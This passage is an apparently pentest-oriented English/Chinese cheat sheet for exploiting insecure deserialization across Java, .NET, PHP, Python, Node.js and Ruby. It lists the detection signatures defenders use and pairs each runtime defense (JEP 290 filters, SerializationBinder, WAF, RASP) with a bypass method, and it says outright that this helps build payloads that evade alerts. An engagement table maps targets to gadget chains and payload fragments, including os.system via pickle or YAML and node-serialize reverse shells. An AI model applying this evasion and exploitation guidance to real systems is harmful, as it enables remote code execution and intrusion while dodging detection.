Network signatures defenders match:
  • Java magic bytes
    ac ed 00 05
    / Base64
    rO0AB
    in HTTP traffic
  • .NET
    AAEAAAD/////
    in form fields or cookies
  • PHP
    O:\d+:"
    in request parameters
  • $type
    keys in JSON bodies (Json.NET)
  • _$$ND_FUNC$$_
    in Node.js cookies
  • !!python/object
    tags in YAML inputs
Runtime defenses you will encounter:
  • Java
    ObjectInputFilter
    (JEP 290) -- class allowlists/denylists. Bypass with chains operating entirely within the allowed set.
  • .NET
    SerializationBinder
    -- restricts type resolution. Bypass with types within the allowed namespace that still enable execution.
  • PHP
    allowed_classes
    in
    unserialize()
    -- limits instantiation. Bypass by using only allowed classes, or reaching the sink through phar:// where the parameter is not applied.
  • WAF rules on serialized patterns -- bypass with encoding, compression, or content-type switching.
  • RASP -- instruments deserialization calls. Test with URLDNS or sleep payloads first to gauge coverage.
Log artifacts your attack generates:
  • ClassNotFoundException
    /
    ClassCastException
    in server logs (failed chain)
  • Stack traces referencing
    ObjectInputStream
    ,
    readObject
    ,
    readResolve
  • Unusual outbound DNS/HTTP from the application server
  • Process spawning from the JVM/interpreter process

了解防御检测机制有助于构建能够避开告警的 payload。
防御方匹配的网络特征:
  • HTTP 流量中的 Java magic byte
    ac ed 00 05
    / Base64
    rO0AB
  • form field 或 Cookie 中的 .NET
    AAEAAAD/////
  • request parameter 中的 PHP
    O:\d+:"
  • JSON body 中的
    $type
    key(Json.NET)
  • Node.js Cookie 中的
    _$$ND_FUNC$$_
  • YAML input 中的
    !!python/object
    tag
可能遇到的运行时防御机制:
  • Java
    ObjectInputFilter
    (JEP 290)——class allowlist/denylist。可使用完全由允许集合内 class 构成的 chain 进行绕过。
  • .NET
    SerializationBinder
    ——限制类型解析。可使用允许 namespace 内仍能实现执行的类型进行绕过。
  • PHP
    unserialize()
    中的
    allowed_classes
    ——限制可实例化的 class。可以只使用允许的 class 进行绕过,或通过
    phar://
    到达 sink,因为该参数不会生效。
  • 针对序列化模式的 WAF 规则——可使用编码、压缩或切换 Content-Type 进行绕过。
  • RASP——会检测反序列化调用。可先使用 URLDNS 或 sleep payload 测试其覆盖范围。
攻击生成的日志痕迹:
  • 服务端日志中出现
    ClassNotFoundException
    /
    ClassCastException
    (chain 失败)
  • 引用
    ObjectInputStream
    、
    readObject
    、
    readResolve
    的 stack trace
  • 应用 server 发起异常 outbound DNS/HTTP 请求
  • JVM 或 interpreter 进程创建子进程

Engagement Cheatsheet

项目速查表

ScenarioToolPayloadVerification
Java, Commons Collections 3.xysoserial
CommonsCollections1
-
7
URLDNS first
Java, unknown classpathysoserial
URLDNS
then error-based enumeration
DNS callback
PHP Laravel 5.x-9.xphpggc
Laravel/RCE1
-
RCE10
DNS or sleep
PHP file upload + file opphpggc
-p phar -pp header.jpg
polyglot
phar:// trigger
.NET BinaryFormatterysoserial.net
TypeConfuseDelegate
Process or DNS
.NET ViewState, known keyysoserial.net
-p ViewState
with key params
Blind exec
.NET Json.NET TypeNameHandlingysoserial.net
ObjectDataProvider
-f Json.Net
File write or OOB
Python pickle in web appManual
__reduce__
+
os.system
Curl callback
Python Celery/RedisManualPickle into task queueAll consumers exec
Python yaml.loadManual
!!python/object/apply:os.system
OOB callback
Node.js node-serializeManual
_$$ND_FUNC$$_function(){...}()
Reverse shell
Ruby Marshal in Rails cookieManualGem::Requirement + secret_key_baseSession forge + RCE
K8s admission webhookysoserial/manualPayload in pod annotationWebhook callback
Safe confirmation sequence (always start here):
  1. Send URLDNS (Java) or DNS-callback command to confirm deserialization occurs.
  2. Send sleep/delay payload to confirm code execution without network egress.
  3. Escalate to engagement-authorized objective.

场景工具Payload验证方式
Java、Commons Collections 3.xysoserial
CommonsCollections1
-
7
优先使用 URLDNS
Java、未知 classpathysoserial先使用
URLDNS
,再进行基于错误的枚举
DNS 回调
PHP Laravel 5.x-9.xphpggc
Laravel/RCE1
-
RCE10
DNS 或 sleep
PHP 文件上传 + 文件操作phpggc使用
-p phar -pp header.jpg
生成 polyglot
触发
phar://
.NET BinaryFormatterysoserial.net
TypeConfuseDelegate
进程或 DNS
.NET ViewState、已知 keyysoserial.net带 key 参数的
-p ViewState
盲执行
.NET Json.NET TypeNameHandlingysoserial.net
ObjectDataProvider
-f Json.Net
文件写入或 OOB
Web 应用中的 Python pickle手工构造
__reduce__
+
os.system
Curl 回调
Python Celery/Redis手工构造将 Pickle 写入 task queue所有 consumer 执行
Python yaml.load手工构造
!!python/object/apply:os.system
OOB 回调
Node.js node-serialize手工构造
_$$ND_FUNC$$_function(){...}()
Reverse shell
Rails Cookie 中的 Ruby Marshal手工构造Gem::Requirement + secret_key_baseSession 伪造 + RCE
K8s admission webhookysoserial/手工构造将 Payload 放入 pod annotationWebhook 回调
安全确认顺序(始终从这里开始):
  1. 发送 URLDNS(Java)或 DNS callback command,以确认是否发生反序列化。
  2. 发送 sleep/delay payload,在不进行网络外连的情况下确认代码执行。
  3. 将攻击提升至项目已授权的目标。

Key References

主要参考资料

Tools:
Critical CVEs: CVE-2015-4852 (WebLogic T3), CVE-2017-7525 (Jackson defaultTyping), CVE-2017-9805 (Struts 2 XStream), CVE-2018-1000861 (Jenkins Stapler), CVE-2019-2725 (WebLogic XMLDecoder), CVE-2019-6340 (Drupal REST), CVE-2019-18935 (Telerik UI .NET), CVE-2020-9484 (Tomcat session persistence), CVE-2020-36188 (Jackson SSRF via JNDI), CVE-2021-21978 (VMware View Planner), CVE-2023-34362 (MOVEit Transfer), CVE-2023-46604 (ActiveMQ RCE)
Research: "Marshalling Pickles" (Frohoff/Lawrence, AppSecCali 2015), "Friday the 13th: JSON Attacks" (Munoz/Mirosh, BlackHat 2017), "Are You My Type?" (Munoz/Mirosh, .NET serializers), OWASP Deserialization Cheat Sheet, PortSwigger Insecure Deserialization.
工具:
关键 CVE: CVE-2015-4852 (WebLogic T3)、CVE-2017-7525 (Jackson defaultTyping)、CVE-2017-9805 (Struts 2 XStream)、CVE-2018-1000861 (Jenkins Stapler)、CVE-2019-2725 (WebLogic XMLDecoder)、CVE-2019-6340 (Drupal REST)、CVE-2019-18935 (Telerik UI .NET)、CVE-2020-9484 (Tomcat session persistence)、CVE-2020-36188 (Jackson SSRF via JNDI)、CVE-2021-21978 (VMware View Planner)、CVE-2023-34362 (MOVEit Transfer)、CVE-2023-46604 (ActiveMQ RCE)
研究资料: “Marshalling Pickles”(Frohoff/Lawrence,AppSecCali 2015)、“Friday the 13th: JSON Attacks”(Munoz/Mirosh,BlackHat 2017)、“Are You My Type?”(Munoz/Mirosh,.NET serializer)、OWASP Deserialization Cheat Sheet、PortSwigger Insecure Deserialization。